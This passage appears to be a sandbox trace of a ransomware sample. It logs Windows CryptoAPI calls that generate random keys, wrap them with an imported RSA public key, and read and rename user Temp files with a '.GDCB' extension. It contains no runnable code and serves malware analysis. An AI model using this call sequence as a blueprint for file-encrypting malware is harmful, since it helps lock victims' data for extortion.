pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.479] CryptEncrypt (in: hKey=0x3655098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.479] GetLastError () returned 0x0 [0176.479] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.479] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.481] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36550d8) returned 1 [0176.481] CryptGetKeyParam (in: hKey=0x36550d8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.481] CryptEncrypt (in: hKey=0x36550d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.482] GetLastError () returned 0x0 [0176.482] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.482] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o h1b4zqmylmea.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.484] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.485] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.486] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x3a08, lpOverlapped=0x0) returned 1 [0176.491] VirtualAlloc (lpAddress=0x0, dwSize=0x3a10, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.495] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o h1b4zqmylmea.ods"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o h1b4zqmylmea.ods.gdcb")) returned 1 [0176.501] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0176.502] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.503] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.503] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0176.503] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0176.504] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.504] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.504] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.504] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.505] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.507] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655158) returned 1 [0176.507] CryptGetKeyParam (in: hKey=0x3655158, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.507] CryptEncrypt (in: hKey=0x3655158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.507] GetLastError () returned 0x0 [0176.507] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.507] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0176.509] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655318) returned 1 [0176.509] CryptGetKeyParam (in: hKey=0x3655318, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.509] CryptEncrypt (in: hKey=0x3655318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.509] GetLastError () returned 0x0 [0176.509] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0176.509] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\psxl 1.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.512] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.513] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.514] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x32a0, lpOverlapped=0x0) returned 1 [0176.518] VirtualAlloc (lpAddress=0x0, dwSize=0x32a0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.522] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\psxl 1.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\psxl 1.gif.gdcb")) returned 1 [0176.528] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.530] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.530] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.530] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0176.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.532] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.532] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.534] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36551d8) returned 1 [0176.534] CryptGetKeyParam (in: hKey=0x36551d8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.534] CryptEncrypt (in: hKey=0x36551d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.534] GetLastError () returned 0x0 [0176.534] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.534] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.536] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36553d8) returned 1 [0176.536] CryptGetKeyParam (in: hKey=0x36553d8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.536] CryptEncrypt (in: hKey=0x36553d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.537] GetLastError () returned 0x0 [0176.537] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.537] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p_iz n5zsyeu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.539] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.540] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.541] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x11326, lpOverlapped=0x0) returned 1 [0176.547] VirtualAlloc (lpAddress=0x0, dwSize=0x11330, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.552] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p_iz n5zsyeu.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p_iz n5zsyeu.png.gdcb")) returned 1 [0176.558] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0176.559] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.560] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.560] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.560] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.560] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.561] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.562] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.562] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.562] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.562] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.564] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655418) returned 1 [0176.564] CryptGetKeyParam (in: hKey=0x3655418, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.564] CryptEncrypt (in: hKey=0x3655418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.564] GetLastError () returned 0x0 [0176.564] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.564] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.566] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655218) returned 1 [0176.566] CryptGetKeyParam (in: hKey=0x3655218, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.566] CryptEncrypt (in: hKey=0x3655218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.566] GetLastError () returned 0x0 [0176.566] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.566] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\u 7qtcnd.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.569] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.570] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.570] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x101e0, lpOverlapped=0x0) returned 1 [0176.574] VirtualAlloc (lpAddress=0x0, dwSize=0x101e0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.587] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\u 7qtcnd.flv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\u 7qtcnd.flv.gdcb")) returned 1 [0176.592] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.594] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.594] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.594] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.594] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.594] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.596] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.596] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.596] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.596] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.598] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655398) returned 1 [0176.598] CryptGetKeyParam (in: hKey=0x3655398, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.598] CryptEncrypt (in: hKey=0x3655398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.598] GetLastError () returned 0x0 [0176.598] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.598] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.600] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655458) returned 1 [0176.600] CryptGetKeyParam (in: hKey=0x3655458, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.600] CryptEncrypt (in: hKey=0x3655458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.600] GetLastError () returned 0x0 [0176.600] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.600] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uwup52bz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.603] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.604] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.604] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x7a70, lpOverlapped=0x0) returned 1 [0176.609] VirtualAlloc (lpAddress=0x0, dwSize=0x7a70, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.613] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uwup52bz.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uwup52bz.gif.gdcb")) returned 1 [0176.619] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.620] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.620] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.620] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.621] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.621] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.622] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.622] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.623] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.625] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655498) returned 1 [0176.625] CryptGetKeyParam (in: hKey=0x3655498, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.625] CryptEncrypt (in: hKey=0x3655498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.625] GetLastError () returned 0x0 [0176.625] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.625] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.627] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x35e67b8) returned 1 [0176.627] CryptGetKeyParam (in: hKey=0x35e67b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.627] CryptEncrypt (in: hKey=0x35e67b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.627] GetLastError () returned 0x0 [0176.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.627] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 